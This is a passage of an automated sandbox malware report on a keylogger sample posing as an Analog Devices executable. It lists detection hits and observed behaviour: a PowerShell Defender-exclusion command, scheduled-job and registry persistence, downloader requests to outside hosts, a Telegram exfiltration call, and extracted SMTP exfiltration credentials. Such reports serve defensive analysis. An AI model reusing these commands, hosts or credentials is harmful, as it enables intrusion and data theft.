Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\icsys.icn.exe, ProcessId: 6096, TargetFilename: c:\windows\system\explorer.exe

Sigma detected: Interactive AT Job

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community: Data: Command: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, CommandLine: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\at.exe, NewProcessName: C:\Windows\SysWOW64\at.exe, OriginalFileName: C:\Windows\SysWOW64\at.exe, ParentCommandLine: c:\windows\system\svchost.exe, ParentImage: C:\Windows\System\svchost.exe, ParentProcessId: 7188, ParentProcessName: svchost.exe, ProcessCommandLine: at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe, ProcessId: 7304, ProcessName: at.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " , ParentImage: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe , ParentProcessId: 2120, ParentProcessName: adsp-21593bbpz10 analog devices, inc. 5000.exe , ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", ProcessId: 7756, ProcessName: powershell.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: c:\windows\system\svchost.exe, CommandLine: c:\windows\system\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\svchost.exe, NewProcessName: C:\Windows\System\svchost.exe, OriginalFileName: C:\Windows\System\svchost.exe, ParentCommandLine: c:\windows\system\spoolsv.exe SE, ParentImage: C:\Windows\System\spoolsv.exe, ParentProcessId: 4364, ParentProcessName: spoolsv.exe, ProcessCommandLine: c:\windows\system\svchost.exe, ProcessId: 7188, ProcessName: svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: c:\windows\system\explorer.exe, CommandLine: c:\windows\system\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\explorer.exe, NewProcessName: C:\Windows\System\explorer.exe, OriginalFileName: C:\Windows\System\explorer.exe, ParentCommandLine: C:\Users\user\AppData\Local\icsys.icn.exe, ParentImage: C:\Users\user\AppData\Local\icsys.icn.exe, ParentProcessId: 6096, ParentProcessName: icsys.icn.exe, ProcessCommandLine: c:\windows\system\explorer.exe, ProcessId: 6792, ProcessName: explorer.exe

Sigma detected: Common Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name): Data: Details: C:\Users\user\AppData\Roaming\mrsys.exe MR, EventID: 13, EventType: SetValue, Image: C:\Windows\System\explorer.exe, ProcessId: 6792, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666}\StubPath

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " , CommandLine: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " , CommandLine|base64offset|contains: jv, Image: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe , NewProcessName: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe , OriginalFileName: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe , ParentCommandLine: "C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe", ParentImage: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, ParentProcessId: 3180, ParentProcessName: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, ProcessCommandLine: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " , ProcessId: 2120, ProcessName: adsp-21593bbpz10 analog devices, inc. 5000.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: c:\windows\system\svchost.exe, CommandLine: c:\windows\system\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System\svchost.exe, NewProcessName: C:\Windows\System\svchost.exe, OriginalFileName: C:\Windows\System\svchost.exe, ParentCommandLine: c:\windows\system\spoolsv.exe SE, ParentImage: C:\Windows\System\spoolsv.exe, ParentProcessId: 4364, ParentProcessName: spoolsv.exe, ProcessCommandLine: c:\windows\system\svchost.exe, ProcessId: 7188, ProcessName: svchost.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\system\explorer.exe RO, EventID: 13, EventType: SetValue, Image: C:\Windows\System\explorer.exe, ProcessId: 6792, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe " , ParentImage: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe , ParentProcessId: 2120, ParentProcessName: adsp-21593bbpz10 analog devices, inc. 5000.exe , ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe ", ProcessId: 7756, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3756, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:12:41.515450+0200	2803305	3	Unknown Traffic	192.168.2.4	49744	188.114.96.3	443	TCP
2024-10-10T10:12:42.821265+0200	2803305	3	Unknown Traffic	192.168.2.4	49748	188.114.96.3	443	TCP
2024-10-10T10:12:47.610268+0200	2803305	3	Unknown Traffic	192.168.2.4	49754	188.114.96.3	443	TCP
2024-10-10T10:12:48.960307+0200	2803305	3	Unknown Traffic	192.168.2.4	49759	188.114.96.3	443	TCP
2024-10-10T10:12:51.625332+0200	2803305	3	Unknown Traffic	192.168.2.4	49768	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T10:12:39.818433+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	132.226.247.73	80	TCP
2024-10-10T10:12:40.729238+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49740	132.226.247.73	80	TCP
2024-10-10T10:12:42.307371+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49745	132.226.247.73	80	TCP
2024-10-10T10:12:43.636025+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\svchost.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Local\stsys.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\spoolsv.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Roaming\mrsys.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Windows\System\explorer.exe	Avira: detection malicious, Label: TR/Patched.Ren.Gen

Found malware configuration

Source: 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "bagslog@cybertechllc.top", "Password": "7213575aceACE@@ ", "Host": "mail.cybertechllc.top", "Port": "587", "Version": "4.4"}
Source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "bagslog@cybertechllc.top", "Password": "7213575aceACE@@ ", "Host": "mail.cybertechllc.top", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

ReversingLabs: Detection: 45%

Multi AV Scanner detection for submitted file

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	ReversingLabs: Detection: 92%
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Virustotal: Detection: 91%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\icsys.icn.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\svchost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\stsys.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\spoolsv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\mrsys.exe	Joe Sandbox ML: detected
Source: C:\Windows\System\explorer.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.81.194.202:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.4:64569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:64572 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:64574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:64576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:64778 version: TLS 1.2

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_00417143
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_00416130
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_004171D7
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_004179F2
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_00417190
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_0041725A
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Code function: 4x nop then push ebp	0_2_004172E5
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 4x nop then jmp 07B491AAh	1_2_07B492EE
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 4x nop then jmp 01A1F8E9h	32_2_01A1F631
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Code function: 4x nop then jmp 01A1FD41h	32_2_01A1FA88

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System\explorer.exe	Network Connect: 173.194.76.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 51.81.194.202 443	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 64.233.184.82 80	Jump to behavior

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 32.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .36fc5f8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:64568 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%2010/10/2024%20/%2016:46:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 51.81.194.202 51.81.194.202

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49745 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49768 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /what-happened-to-the-old-zxq-website/ HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
